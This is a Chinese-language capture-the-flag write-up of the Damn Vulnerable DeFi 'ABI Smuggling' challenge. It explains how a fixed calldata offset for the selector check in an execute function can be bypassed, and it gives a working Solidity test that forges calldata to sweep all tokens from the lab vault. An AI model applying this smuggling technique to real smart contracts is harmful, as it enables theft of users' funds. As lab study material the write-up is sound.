忘記存檔結果這篇文章打了第二次 = =
There’s a permissioned vault with 1 million DVT tokens deposited. The vault allows withdrawing funds periodically, as well as taking all funds out in case of emergencies.
The contract has an embedded generic authorization scheme, only allowing known accounts to execute specific actions.
The dev team has received a responsible disclosure saying all funds can be stolen.
Rescue all funds from the vault, transferring them to the designated recovery account.
這一題有兩個合約,我們觀察過它的運作模式以後可以分析,我們可以利用 SelfAuthorizedVault.sol
中的 withdraw
function 來調用 sweepFunds
,而這些功能都會利用 AuthorizedExecutor.sol
中的 setPermissions
來進行初始化
然而這並沒有起到什麼關鍵性的作用,但是在 AuthorizedExecutor.sol
合約中有一個 execute
function,其中 selector
是透過 calldata
的起始位置進行存取,其中的計算方式為 4 + 32 * 3
,所以我們可以透過這個來進行一些繞過檢查的操作
基本上我們要做的事情就是偽造他的 calldata
function test_abiSmuggling() public checkSolvedByPlayer {
// 構建 `sweepFunds` 函數的調用數據,參數為回收帳戶地址和代幣地址
bytes memory sweepFundsCallData = abi.encodePacked(
vault.sweepFunds.selector, // `sweepFunds` 函數的選擇器
uint256(uint160(recovery)), // 回收帳戶地址轉換為 uint256 格式
uint256(uint160(address(token))) // 代幣合約地址轉換為 uint256 格式
);
// 構建 `execute` 函數的調用數據,將 `sweepFunds` 的數據嵌入其中
bytes memory executeCallData = abi.encodePacked(
vault.execute.selector, // `execute` 函數的選擇器
uint256(uint160(address(vault))), // 保險庫地址轉換為 uint256 格式
uint256(0x64), // 給定的 gas 限額
uint256(0), // 以太幣轉帳數量,為 0
bytes4(hex"d9caed12"), // 內部執行的函數選擇器
sweepFundsCallData.length, // `sweepFunds` 調用數據的長度
sweepFundsCallData // 嵌入 `sweepFunds` 的調用數據
);
// 使用低級呼叫執行 `execute` 函數
(bool success, ) = address(vault).call(executeCallData);
// 確認調用是否成功
require(success, "Call failed");
}
每日梗圖(1/1)
本來要放來自對岸的 meme,但是我怕我被消失